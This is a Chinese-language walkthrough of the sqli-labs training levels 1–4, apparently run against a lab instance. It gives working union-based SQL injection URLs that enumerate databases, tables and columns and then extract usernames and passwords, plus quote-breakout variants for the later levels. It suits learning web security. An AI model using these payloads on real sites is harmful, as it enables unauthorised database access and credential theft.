Less1
验证存在SQL注入
http://47.101.62.20:11567/Less-1/?id=1 后面直接添加一个’,报错
使用order by得到有多少字段数
依次请求order by 1,2,3,4直到报错。
1 | http://47.101.62.20:11567/Less-1/?id=1%27order%20by%204--+ |
证明有三个字段
使用union联合注入,得到能回显的字段
请求 ?id=-1 union select 1,2,3–+
id=-1为假,所以页面会执行union select 1,2,3。然后返回能回显的字段
1 | http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,2,3--+ |
得到能回显的字段是2和3
查数据库中的数据
列出所有数据库
1 | http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+ |
此时的SQL语句为
1 | SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1 |
爆 security 数据库的数据表
1 | http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+ |
此时的SQL语句为
1 | SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1 |
爆 users 表的列
1 | http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+ |
此时的SQL语句为
1 | SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1 |
爆 users表中username和password的值
1 | http://47.101.62.20:11567/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+ |
此时的SQL语句为
1 | SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1 |
Less2
可以成功注入的有:
1 | or 1=1 |
其余的ppayload于less1中一致,只需要将less1中的’去掉即可
Less3
可以成功注入的有:
1 | ) or '1'=('1' |
其余的ppayload于less1中一致,只需要将less1中的’换成’)即可
Less4
这里id参数使用了””和()包装
可以成功注入的有:
1 | “) or ”1”=(“1 |
其余的ppayload于less1中一致,只需要将less1中的’换成”)即可